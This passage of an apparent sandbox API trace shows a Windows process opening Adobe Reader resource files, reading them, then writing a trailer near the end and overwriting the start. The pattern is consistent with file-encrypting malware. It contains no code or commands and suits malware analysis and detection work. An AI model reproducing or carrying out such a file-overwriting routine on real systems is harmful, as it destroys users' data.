ReturnValue=0x0) [0044.486] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v")) returned 0x20 [0044.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C", lpFilePart=0x340f690*="GBpc-EUC-UCS2C") returned 0x45 [0044.486] GetLastError () returned 0x5 [0044.486] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.486] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.486] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.486] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.486] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.486] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.486] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c")) returned 0x20 [0044.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V", lpFilePart=0x340f690*="HKgccs-B5-V") returned 0x42 [0044.487] GetLastError () returned 0x5 [0044.487] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.487] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.487] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.487] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.487] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.487] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.487] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKgccs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkgccs-b5-v")) returned 0x20 [0044.487] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V", lpFilePart=0x340f690*="KSC-EUC-V") returned 0x40 [0044.488] GetLastError () returned 0x5 [0044.488] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.488] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.488] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.488] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.488] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.488] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.488] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ksc-euc-v")) returned 0x20 [0044.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ", lpFilePart=0x340f690*="UCS2-90pv-RKSJ") returned 0x45 [0044.488] GetLastError () returned 0x5 [0044.488] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.488] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.488] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.489] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.489] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.489] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.489] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj")) returned 0x20 [0044.489] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.489] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V", lpFilePart=0x340f690*="UniCNS-UTF16-V") returned 0x45 [0044.489] GetLastError () returned 0x5 [0044.489] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.489] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.489] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.489] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.490] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.490] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.490] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v")) returned 0x20 [0044.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.490] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V", lpFilePart=0x340f690*="UniJIS-UTF16-V") returned 0x45 [0044.490] GetLastError () returned 0x5 [0044.490] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.490] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.490] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.490] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.490] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.491] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.491] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-utf16-v")) returned 0x20 [0044.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-italic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0044.491] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0044.858] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3dce0 [0044.858] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0044.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.936] ReleaseMutex (hMutex=0x128) returned 1 [0044.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeArabic-Italic.otf", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeArabic-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0044.936] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.957] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3cce0 [0044.957] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.968] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3cce0 [0044.968] WriteFile (in: hFile=0x1a8, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.969] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0044.969] WriteFile (in: hFile=0x1a8, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.969] CloseHandle (hObject=0x1a8) returned 1 [0044.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0044.969] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0044.969] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x10530 [0044.969] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0044.970] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.970] ReleaseMutex (hMutex=0x128) returned 1 [0044.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0044.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x1e78c44, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0044.970] ReadFile (in: hFile=0x1a8, lpBuffer=0x2619c78, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.976] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf530 [0044.976] ReadFile (in: hFile=0x1a8, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.984] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf530 [0044.984] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.984] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0044.984] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.984] CloseHandle (hObject=0x1a8) returned 1 [0044.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0044.985] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0044.985] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1879c [0044.985] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0044.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.985] ReleaseMutex (hMutex=0x128) returned 1 [0044.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0044.985] ReadFile (in: hFile=0x1a8, lpBuffer=0x2619c78, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0045.008] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1779c [0045.008] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c74d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.023] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1779c [0045.023] WriteFile (in: hFile=0x1a8, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.023] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.023] WriteFile (in: hFile=0x1a8, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0045.024] CloseHandle (hObject=0x1a8) returned 1 [0045.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.024] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.024] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6c88 [0045.024] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.024] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.024] ReleaseMutex (hMutex=0x128) returned 1 [0045.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0045.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_AE.txt", lpUsedDefaultChar=0x0) returned 30 [0045.025] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.036] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5c88 [0045.036] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.048] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5c88 [0045.048] WriteFile (in: hFile=0x1a8, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.049] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.049] WriteFile (in: hFile=0x1a8, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.049] CloseHandle (hObject=0x1a8) returned 1 [0045.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.050] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.050] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6c96 [0045.050] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.050] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.050] ReleaseMutex (hMutex=0x128) returned 1 [0045.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_MA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 